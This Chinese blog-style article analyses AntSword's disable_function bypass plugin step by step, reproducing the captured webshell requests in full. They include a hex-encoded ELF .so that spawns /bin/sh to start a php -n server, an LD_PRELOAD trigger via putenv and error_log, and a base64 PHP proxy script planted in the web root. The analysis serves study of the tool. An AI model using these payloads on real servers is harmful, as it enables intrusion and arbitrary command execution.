蚁剑绕过disable_function插件分析

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所属分类:安全文章
摘要

前言:前几天看到了一篇关于绕过disable_function的文章,里面讲到了蚁剑disable_function绕过插件,于是就去尝试了一下,结果发现报错,无法上传代理脚本,特地来分析一下蚁剑这个disable_function绕过这个插件的原理,看看能不能找出原因。

前言:前几天看到了一篇关于绕过disable_function的文章,里面讲到了蚁剑disable_function绕过插件,于是就去尝试了一下,结果发现报错,无法上传代理脚本,特地来分析一下蚁剑这个disable_function绕过这个插件的原理,看看能不能找出原因。

蚁剑绕过disable_function插件分析

为了更好的阅读,所有的请求包都经过了php格式化

第一个请求包:

POST /1.php HTTP/1.1 Host: 127.0.0.1:80 Accept-Encoding: gzip, deflate User-Agent: antSword/v2.1 Content-Type: application/x-www-form-urlencoded Content-Length: 2338 Connection: close  [email protected]_set("display_errors", "0");//忽略报错信息 @set_time_limit(0); function asenc($out) {  return $out; } ; function asoutput() {  $output=ob_get_contents();  ob_end_clean();  echo "02374b89";  echo @asenc($output);  echo "76463"; } ob_start(); try {  $rt = array(     "os" => php_uname('s'),     "arch" => (PHP_INT_SIZE==4?32:64),      "ver" => substr(PHP_VERSION,0,3),                            "shell_name" => basename($_SERVER['SCRIPT_NAME']),     "phpself" => realpath("."),     "temp_dir" => sys_get_temp_dir(),                      "open_basedir" => array(),     "funcs" => array(),                );  $opath_str = ini_get('open_basedir');  if(strlen($opath_str)) {   $opath = explode(":", $opath_str);   foreach($opath as $p) {    $rp = realpath($p);    $rt["open_basedir"][$rp] = (is_writable($rp)?1:0);//可写路径的$rp值全都设置为1   }  }  $func_arr = array(         "dl",          "putenv",          "error_reporting",          "error_log",          "file_put_contents",          "file_get_contents",          "fopen",          "fclose",          "fwrite",          "tempnam",          "imap_open",          "symlink",          "curl_init",          "fsockopen"     );  foreach ($func_arr as $f) {   $rt["funcs"][$f] = (function_exists($f)?1:0);  }//在已经定义函数列表查找$func_arr里面的函数,找到返回1,否则返回0  $rt["funcs"]["dl"] = ((bool)ini_get("enable_dl")?1:0);  echo json_encode($rt);  ; } catch(Exception $e) {  echo "ERROR://".$e->getMessage(); } ; asoutput();//输出数据流 die(); 

请求包的作用:通过一系列的函数获取信息,包括一些版本号,open_basedir是否启用,可用函数等。

返回包:

HTTP/1.1 200 OK Date: Mon, 12 Apr 2021 02:41:36 GMT Server: Apache/2.4.46 (Debian) Vary: Accept-Encoding Content-Length: 349 Connection: close Content-Type: text/html; charset=UTF-8  1541b7719ab{"os":"Linux","arch":64,"ver":"7.3","shell_name":"1.php","phpself":"//var//www//html","temp_dir":"//tmp","open_basedir":[],"funcs":{"dl":0,"putenv":1,"error_reporting":1,"error_log":1,"file_put_contents":1,"file_get_contents":1,"fopen":1,"fclose":1,"fwrite":1,"tempnam":1,"imap_open":0,"symlink":1,"curl_init":0,"fsockopen":1}}99f8fd5bbac 

查看蚁剑的界面 刚好是返回包里面的内容,open_basedir 也没有做限制,不能用的函数为 dl,imap_open,curl_init。

蚁剑绕过disable_function插件分析

第二个请求包:定义了俩个post m7e78e9f0389ea,v26e5c1fd3c936用来传值,后面的是用来解密的,我们通过这个函数解密看一下传入的内容到底是什么。

POST /1.php HTTP/1.1 Host: 127.0.0.1:80 Accept-Encoding: gzip, deflate User-Agent: antSword/v2.1 Content-Type: application/x-www-form-urlencoded Content-Length: 2225 Connection: close  [email protected]_set("display_errors", "0"); @set_time_limit(0); function asenc($out) {  return $out; } ; function asoutput() {  $output=ob_get_contents();  ob_end_clean();  echo "5b368892e";  echo @asenc($output);  echo "6b06d8"; } ob_start(); try {  $f=base64_decode(substr($_POST["m7e78e9f0389ea"],2));  $c=$_POST["v26e5c1fd3c936"];  $c=str_replace("/r","",$c);  $c=str_replace("/n","",$c);  $buf="";  for ($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));  echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");  ; } catch(Exception $e) {  echo "ERROR://".$e->getMessage(); } ; asoutput(); die(); &m7e78e9f0389ea=HNL3RtcC8uNTI0NzFhbnRfeDY0LnNv&v26e5c1fd3c936=7F454C~4~602010100000000000000000003003E000100000092010000000000004000000000000000B000000000000000000000004000380002004000020001000100000007000000000000000000000000000000000000000000000000000000A202000000000000B2030000000000000010000000000000020000000700000030010000000000003001000000000000300100000000000060000000000000006000000000000000001000000000000001000000060000000000000000000000300100000000000030010000000000006000000000000000000000000000000008000000000000000700000000000000000000000300000000000000000000009001000000000000900100000000000002000000000000000000000000000000000000000000000000000000000000000C00000000000000920100000000000005000000000000009001000000000000060000000000000090010000000000000A0000000000000000000000000000000B0000000000000000000000000000000000000000000000000000000000000000006A3B589948BB2F62696E2F736800534889E7682D6300004889E652E8E9000000706870202D6E202D53203132372E302E302E313A3631343737202D74202F7661722F7777772F68746D6C202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020000056574889E60F05 

通过解密 m7e78e9f0389ea传入的值为/tmp/.52471ant_x64.so,v26e5c1fd3c936传入的值为

ELF>�@�@[email protected]��000``00`����� j;X�H�/bin/shSH��h-cH��R��php -n -S 127.0.0.1:61477 -t /var/www/html VWH��1  echo(@fwrite(fopen($f,"a"),$buf)?"1":"0"); //把上面的写入到/tmp/.52471ant_x64.so文件里面 

在文件里面也看见了。

蚁剑绕过disable_function插件分析

真实路径为:

蚁剑绕过disable_function插件分析

官方docker复现下的环境路径为:

蚁剑绕过disable_function插件分析

在我删除systemd-private-acdcf2736aa745c68a58e052ad2168fd-apache2.service-nQeZSi文件夹之后就so文件也无法上传了。上传代理脚本出错的原因可能就是因为目录不对,才无法上传过去。

蚁剑绕过disable_function插件分析

用ida分析一下。一个函数都没有,唯一的信息就是一个这个,开始分析下一个数据包。

蚁剑绕过disable_function插件分析

作用就是通过php启动一个web服务。

返回包:

HTTP/1.1 200 OK Date: Mon, 12 Apr 2021 07:16:53 GMT Server: Apache/2.4.46 (Debian) Content-Length: 16 Connection: close Content-Type: text/html; charset=UTF-8  5b368892e16b06d8 

第三个请求包:这个请求包主要是设置环境变量so。

POST /1.php HTTP/1.1 Host: 127.0.0.1:80 Accept-Encoding: gzip, deflate User-Agent: antSword/v2.1 Content-Type: application/x-www-form-urlencoded Content-Length: 534 Connection: close  [email protected]_set("display_errors", "0"); @set_time_limit(0); function asenc($out) {  return $out; } ; function asoutput() {  $output=ob_get_contents();  ob_end_clean();  echo "0f081104a9f";  echo @asenc($output);  echo "70d17d6b56f6"; } ob_start(); try {  error_reporting(E_ALL);  putenv("LD_PRELOAD=/tmp/.41830ant_x64.so");  error_log("a", 1);  echo(1);  ; } catch(Exception $e) {  echo "ERROR://".$e->getMessage(); } ; asoutput(); die(); 

返回包:

第四个请求包:这个请求包主要是打开一个网络连接。

POST /1.php HTTP/1.1 Host: 127.0.0.1:80 Accept-Encoding: gzip, deflate User-Agent: antSword/v2.1 Content-Type: application/x-www-form-urlencoded Content-Length: 828 Connection: close  [email protected]_set("display_errors", "0"); @set_time_limit(0); function asenc($out) {  return $out; } ; function asoutput() {  $output=ob_get_contents();  ob_end_clean();  echo "f39e6c0f3";  echo @asenc($output);  echo "a5c0d"; } ob_start(); try {  sleep(1);  $fp = @fsockopen("127.0.0.1", 64553, $errno, $errstr, 1);  if(!$fp) {   echo(0);  } else {   echo(1);   @fclose($fp);  }  ;  ; } catch(Exception $e) {  echo "ERROR://".$e->getMessage(); } ; asoutput(); die(); 

返回包:

HTTP/1.1 200 OK Date: Mon, 12 Apr 2021 07:18:53 GMT Server: Apache/2.4.46 (Debian) Content-Length: 16 Connection: close Content-Type: text/html; charset=UTF-8  5248a63f61d28202 

第五个请求包:

POST /1.php HTTP/1.1 Host: 127.0.0.1:80 Accept-Encoding: gzip, deflate User-Agent: antSword/v2.1 Content-Type: application/x-www-form-urlencoded Content-Length: 3009 Connection: close [email protected]_set("display_errors", "0"); @set_time_limit(0); function asenc($out) {  return $out; } ; function asoutput() {  $output=ob_get_contents();  ob_end_clean();  echo "a0ac74b59";  echo @asenc($output);  echo "64217cb07512"; } ob_start(); try {  echo @fwrite(fopen(base64_decode(substr($_POST["m7e78e9f0389ea"],2)),"w"),base64_decode(substr($_POST["v26e5c1fd3c936"],2)))?"1":"0";  ; } catch(Exception $e) {  echo "ERROR://".$e->getMessage(); } ; asoutput(); die(); &m7e78e9f0389ea=dtL3Zhci93d3cvaHRtbC8uYW50cHJveHkucGhw&v26e5c1fd3c936=S9PD9waHAKZnVuY3Rpb24gZ2V0X2NsaWVudF9oZWFkZXIoKXsKICAgICRoZWFkZXJzPWFycmF5KCk7CiAgICBmb3JlYWNoKCRfU0VSVkVSIGFzICRrPT4kdil7CiAgICAgICAgaWYoc3RycG9zKCRrLCdIVFRQXycpPT09MCl7CiAgICAgICAgICAgICRrPXN0cnRvbG93ZXIocHJlZ19yZXBsYWNlKCcvXkhUVFAvJywgJycsICRrKSk7CiAgICAgICAgICAgICRrPXByZWdfcmVwbGFjZV9jYWxsYmFjaygnL19cdy8nLCdoZWFkZXJfY2FsbGJhY2snLCRrKTsKICAgICAgICAgICAgJGs9cHJlZ19yZXBsYWNlKCcvXl8vJywnJywkayk7CiAgICAgICAgICAgICRrPXN0cl9yZXBsYWNlKCdfJywnLScsJGspOwogICAgICAgICAgICBpZigkaz09J0hvc3QnKSBjb250aW51ZTsKICAgICAgICAgICAgJGhlYWRlcnNbXT0iJGs6JHYiOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAkaGVhZGVyczsKfQpmdW5jdGlvbiBoZWFkZXJfY2FsbGJhY2soJHN0cil7CiAgICByZXR1cm4gc3RydG91cHBlcigkc3RyWzBdKTsKfQpmdW5jdGlvbiBwYXJzZUhlYWRlcigkc1Jlc3BvbnNlKXsKICAgIGxpc3QoJGhlYWRlcnN0ciwkc1Jlc3BvbnNlKT1leHBsb2RlKCINCg0KIiwkc1Jlc3BvbnNlLCAyKTsKICAgICRyZXQ9YXJyYXkoJGhlYWRlcnN0ciwkc1Jlc3BvbnNlKTsKICAgIGlmKHByZWdfbWF0Y2goJy9eSFRUUC8xLjEgZHszfS8nLCAkc1Jlc3BvbnNlKSl7CiAgICAgICAgJHJldD1wYXJzZUhlYWRlcigkc1Jlc3BvbnNlKTsKICAgIH0KICAgIHJldHVybiAkcmV0Owp9CgpzZXRfdGltZV9saW1pdCgxMjApOwokaGVhZGVycz1nZXRfY2xpZW50X2hlYWRlcigpOwokaG9zdCA9ICIxMjcuMC~4~wLjEiOwokcG9ydCA9IDY0MzE1OwokZXJybm8gPSAnJzsKJGVycnN0ciA9ICcnOwokdGltZW91dCA9IDMwOwokdXJsID0gIi8xLnBocCI7CgppZiAoIWVtcHR5KCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSkpewogICAgJHVybCAuPSAiPyIuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddOwp9OwoKJGZwID0gZnNvY2tvcGVuKCRob3N0LCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCAkdGltZW91dCk7CmlmKCEkZnApewogICAgcmV0dXJuIGZhbHNlOwp9CgokbWV0aG9kID0gIkdFVCI7CiRwb3N0X2RhdGEgPSAiIjsKaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdQT1NUJykgewogICAgJG1ldGhvZCA9ICJQT1NUIjsKICAgICRwb3N0X2RhdGEgPSBmaWxlX2dldF9jb250ZW50cygncGhwOi8vaW5wdXQnKTsKfQoKJG91dCA9ICRtZXRob2QuIiAiLiR1cmwuIiBIVFRQLzEuMVxyXG4iOwokb3V0IC~4~9ICJIb3N0OiAiLiRob3N0LiI6Ii4kcG9ydC~4~iXHJcbiI7CmlmICghZW1wdHkoJF9TRVJWRVJbJ0NPTlRFTlRfVFlQRSddKSkgewogICAgJG91dCAuPSAiQ29udGVudC1UeXBlOiAiLiRfU0VSVkVSWydDT05URU5UX1RZUEUnXS4iXHJcbiI7Cn0KJG91dCAuPSAiQ29udGVudC1sZW5ndGg6Ii5zdHJsZW4oJHBvc3RfZGF0YSkuIlxyXG4iOwoKJG91dCAuPSBpbXBsb2RlKCJcclxuIiwkaGVhZGVycyk7CiRvdXQgLj0gIlxyXG5cclxuIjsKJG91dCAuPSAiIi4kcG9zdF9kYXRhOwoKZnB1dHMoJGZwLCAkb3V0KTsKCiRyZXNwb25zZSA9ICcnOwp3aGlsZSgkcm~9~3PWZyZWFkKCRmcCwgNDA5NikpewogICAgJHJlc3BvbnNlIC~4~9ICRyb3c7Cn0KZmNsb3NlKCRmcCk7CiRwb3MgPSBzdHJwb3MoJHJlc3BvbnNlLCAiXHJcblxyXG4iKTsKJHJlc3BvbnNlID0gc3Vic3RyKCRyZXNwb25zZSwgJHBvcys0KTsKZWNobyAkcmVzcG9uc2U7Cg== 

m7e78e9f0389ea传入的值为/var/www/html/.antproxy.php

v26e5c1fd3c936传入的是php的代理脚本,内容如下。

<?php function get_client_header(){     $headers=array();     foreach($_SERVER as $k=>$v){         if(strpos($k,'HTTP_')===0){             $k=strtolower(preg_replace('/^HTTP/', '', $k));             $k=preg_replace_callback('/_/w/','header_callback',$k);             $k=preg_replace('/^_/','',$k);             $k=str_replace('_','-',$k);             if($k=='Host') continue;             $headers[]="$k:$v";         }     }     return $headers; } function header_callback($str){     return strtoupper($str[0]); } function parseHeader($sResponse){     list($headerstr,$sResponse)=explode("",$sResponse, 2);     $ret=array($headerstr,$sResponse);     if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){         $ret=parseHeader($sResponse);     }     return $ret; }  set_time_limit(120); $headers=get_client_header(); $host = "127.0.0.1"; $port = 64315; $errno = ''; $errstr = ''; $timeout = 30; $url = "/1.php";  if (!empty($_SERVER['QUERY_STRING'])){     $url .= "?".$_SERVER['QUERY_STRING']; };  $fp = fsockopen($host, $port, $errno, $errstr, $timeout); if(!$fp){     return false; }  $method = "GET"; $post_data = ""; if($_SERVER['REQUEST_METHOD']=='POST') {     $method = "POST";     $post_data = file_get_contents('php://input'); }  $out = $method." ".$url." HTTP/1.1/r/n"; $out .= "Host: ".$host.":".$port."/r/n"; if (!empty($_SERVER['CONTENT_TYPE'])) {     $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."/r/n"; } $out .= "Content-length:".strlen($post_data)."/r/n";  $out .= implode("/r/n",$headers); $out .= "/r/n/r/n"; $out .= "".$post_data;  fputs($fp, $out);  $response = ''; while($row=fread($fp, 4096)){     $response .= $row; } fclose($fp); $pos = strpos($response, "/r/n/r/n"); $response = substr($response, $pos+4); echo $response; 

在上传代理脚本的时候,蚁剑报错,上传代理脚本失败。

蚁剑绕过disable_function插件分析

返回包:

HTTP/1.1 200 OK Date: Mon, 12 Apr 2021 07:18:54 GMT Server: Apache/2.4.46 (Debian) Content-Length: 22 Connection: close Content-Type: text/html; charset=UTF-8  a0ac74b59064217cb07512 

总结:分析下来走到最后一步报错的这个地方,上传代理脚本失败。有俩个点,一个是.so文件在ida反编译后,不存在其他的函数,只有一个 php -n -S 127.0.0.1:61477 -t /var/www/html 也就执行了一个启动web服务的操作,利用-n不使用php.ini 从而bypass diable_function。在第三个数据包中存在 putenv("LD_PRELOAD=/tmp/.41830ant_x64.so")执行数据包2中的操作。

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